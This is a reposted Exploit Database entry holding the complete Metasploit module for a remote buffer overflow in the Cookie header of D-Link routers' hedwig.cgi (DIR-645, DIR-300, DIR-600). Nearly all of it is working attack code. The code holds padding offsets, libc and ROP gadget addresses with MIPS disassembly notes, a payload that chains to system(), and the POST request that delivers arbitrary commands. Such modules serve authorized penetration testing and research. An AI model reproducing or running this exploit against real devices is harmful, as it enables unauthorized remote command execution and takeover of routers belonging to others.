D-Link Devices – ‘hedwig.cgi’ Remote Buffer Overflow in Cookie Header (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2014-06-24
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/33863/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerEcho
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
  'Description'=> %q{
  This module exploits an anonymous remote code execution vulnerability on several D-Link
  routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
  long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
  and the DIR645A1_FW103B11 firmware.
  },
  'Author' =>
  [
  'Roberto Paleari', # Vulnerability discovery
  'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
  'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['OSVDB', '95950'],
  ['EDB', '27283'],
  ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
  ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
  ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt']#original advisory
  ],
  'Platform' => 'linux',
  'Arch' => ARCH_MIPSLE,
  'Targets'=>
  [
  [ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600',
  {
  'Offset'=> 973,
  'LibcBase'=> 0x2aaf8000,# Router
  #'LibcBase' => 0x40854000,# QEMU environment
  'System'=> 0x000531FF,# address of system
  'CalcSystem'=> 0x000158C8,# calculate the correct address of system
  'CallSystem'=> 0x000159CC,# call our system
  }
  ]
  ],
  'DisclosureDate' => 'Feb 08 2013',
  'DefaultTarget' => 0))
  end
  
  def check
  begin
  res = send_request_cgi({
  'uri' => "/hedwig.cgi",
  'method'=> 'GET'
  })
  
  if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/
  return Exploit::CheckCode::Detected
  end
  rescue ::Rex::ConnectionError
  return Exploit::CheckCode::Unknown
  end
  
  Exploit::CheckCode::Unknown
  end
  
  def exploit
  print_status("#{peer} - Accessing the vulnerable URL...")
  
  unless check == Exploit::CheckCode::Detected
  fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
  end
  
  print_status("#{peer} - Exploiting...")
  execute_cmdstager(
  :linemax => 200,
  :concat_operator => " && "
  )
  end
  
  def prepare_shellcode(cmd)
  shellcode = rand_text_alpha_upper(target['Offset'])# padding
  shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
  shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
  shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
  
  # .text:000159CC 10 00 B5 27addiu $s5, $sp, 0x170+var_160# get the address of our command into $s5
  # .text:000159D0 21 28 60 02move$a1, $s3 # not used
  # .text:000159D4 21 30 20 02move$a2, $s1 # not used
  # .text:000159D8 21 C8 00 02move$t9, $s0 # $s0 - system
  # .text:000159DC 09 F8 20 03jalr$t9# call system
  # .text:000159E0 21 20 A0 02move$a0, $s5 # our cmd -> into a0 as parameter for system
  
  shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
  shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
  
  # .text:000158C8 21 C8 A0 02move$t9, $s5 # s5 - our second gadget
  # .text:000158CC 09 F8 20 03jalr$t9# jump the second gadget
  # .text:000158D0 01 00 10 26addiu $s0, 1 # s0 our system address - lets calculate the right address
  
  shellcode << rand_text_alpha_upper(16) # filler in front of our command
  shellcode << cmd
  end
  
  def execute_command(cmd, opts)
  shellcode = prepare_shellcode(cmd)
  
  begin
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => "/hedwig.cgi",
  'cookie' => "uid=#{shellcode}",
  'encode_params' => false,
  'vars_post' => {
  rand_text_alpha(4) => rand_text_alpha(4)
  }
  })
  return res
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end
  end
  end